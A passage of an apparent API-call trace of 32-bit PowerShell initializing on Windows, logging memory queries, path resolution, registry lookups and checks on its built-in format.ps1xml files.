lpBuffer=0x2be260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0148.020] GetLastError () returned 0x0 [0148.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x2be1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0148.020] GetLastError () returned 0x0 [0148.345] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.368] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.372] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.373] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.373] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.374] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.374] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.382] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.418] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.418] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.419] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.419] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.420] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.421] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.422] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.423] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.441] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.455] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.456] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.459] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.460] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.462] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.464] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.465] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.466] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.468] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.469] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.469] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.470] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.471] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.479] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.488] VirtualQuery (in: lpAddress=0x2bd5f8, lpBuffer=0x2be5f8, dwLength=0x1c | out: lpBuffer=0x2be5f8*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.489] VirtualQuery (in: lpAddress=0x2bd5f8, lpBuffer=0x2be5f8, dwLength=0x1c | out: lpBuffer=0x2be5f8*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.489] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.491] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.550] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.551] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.551] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.568] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0148.568] GetLastError () returned 0xcb [0148.580] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.602] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.603] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.604] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.604] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.607] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.607] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.617] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.622] VirtualQuery (in: lpAddress=0x2bd5f4, lpBuffer=0x2be5f4, dwLength=0x1c | out: lpBuffer=0x2be5f4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0148.625] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be77c | out: phkResult=0x2be77c*=0x344) returned 0x0 [0148.625] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7e4, lpData=0x0, lpcbData=0x2be7e0*=0x0 | out: lpType=0x2be7e4*=0x1, lpData=0x0, lpcbData=0x2be7e0*=0x74) returned 0x0 [0148.626] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7c4, lpData=0x0, lpcbData=0x2be7c0*=0x0 | out: lpType=0x2be7c4*=0x1, lpData=0x0, lpcbData=0x2be7c0*=0x74) returned 0x0 [0148.626] RegQueryValueExW (in: hKey=0x344, lpValueName="path", lpReserved=0x0, lpType=0x2be7c4, lpData=0x67b350, lpcbData=0x2be7c0*=0x74 | out: lpType=0x2be7c4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x2be7c0*=0x74) returned 0x0 [0148.627] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x2be344, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0148.627] GetLastError () returned 0xcb [0148.627] SetErrorMode (uMode=0x1) returned 0x1 [0148.627] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x2be7c4 | out: lpFileInformation=0x2be7c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0148.627] GetLastError () returned 0xcb [0148.627] SetErrorMode (uMode=0x1) returned 0x1 [0148.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.629] GetLastError () returned 0xcb [0148.629] SetErrorMode (uMode=0x1) returned 0x1 [0148.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0148.631] GetLastError () returned 0xcb [0148.631] SetErrorMode (uMode=0x1) returned 0x1 [0148.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0148.631] GetLastError () returned 0xcb [0148.631] SetErrorMode (uMode=0x1) returned 0x1 [0148.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0148.633] GetLastError () returned 0xcb [0148.633] SetErrorMode (uMode=0x1) returned 0x1 [0148.633] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.633] GetLastError () returned 0xcb [0148.633] SetErrorMode (uMode=0x1) returned 0x1 [0148.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0148.635] GetLastError () returned 0xcb [0148.635] SetErrorMode (uMode=0x1) returned 0x1 [0148.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.635] GetLastError () returned 0xcb [0148.635] SetErrorMode (uMode=0x1) returned 0x1 [0148.635] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0148.636] GetLastError () returned 0xcb [0148.636] SetErrorMode (uMode=0x1) returned 0x1 [0148.636] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0148.636] GetLastError () returned 0xcb [0148.636] SetErrorMode (uMode=0x1) returned 0x1 [0148.636] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0148.637] GetLastError () returned 0xcb [0148.637] SetErrorMode (uMode=0x1) returned 0x1 [0148.637] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0148.637] GetLastError () returned 0xcb [0148.637] SetErrorMode (uMode=0x1) returned 0x1 [0148.637] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0148.637] GetLastError () returned 0xcb [0148.637] SetErrorMode (uMode=0x1) returned 0x1 [0148.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0148.638] GetLastError () returned 0xcb [0148.638] SetErrorMode (uMode=0x1) returned 0x1 [0148.638] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0148.638] GetLastError () returned 0xcb [0148.638] SetErrorMode (uMode=0x1) returned 0x1 [0148.639] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0148.639] GetLastError () returned 0xcb [0148.639] SetErrorMode (uMode=0x1) returned 0x1 [0148.639] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0148.641] GetLastError () returned 0xcb [0148.641] SetErrorMode (uMode=0x1) returned 0x1 [0148.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be338, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0148.641] GetLastError () returned 0xcb [0148.641] SetErrorMode (uMode=0x1) returned 0x1 [0148.641] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2be7b8 | out: lpFileInformation=0x2be7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0148.642] GetLastError () returned 0xcb [0148.642] SetErrorMode (uMode=0x1) returned 0x1 [0148.672] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x2be0cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0148.672] GetLastError () returned 0xcb [0148.672] 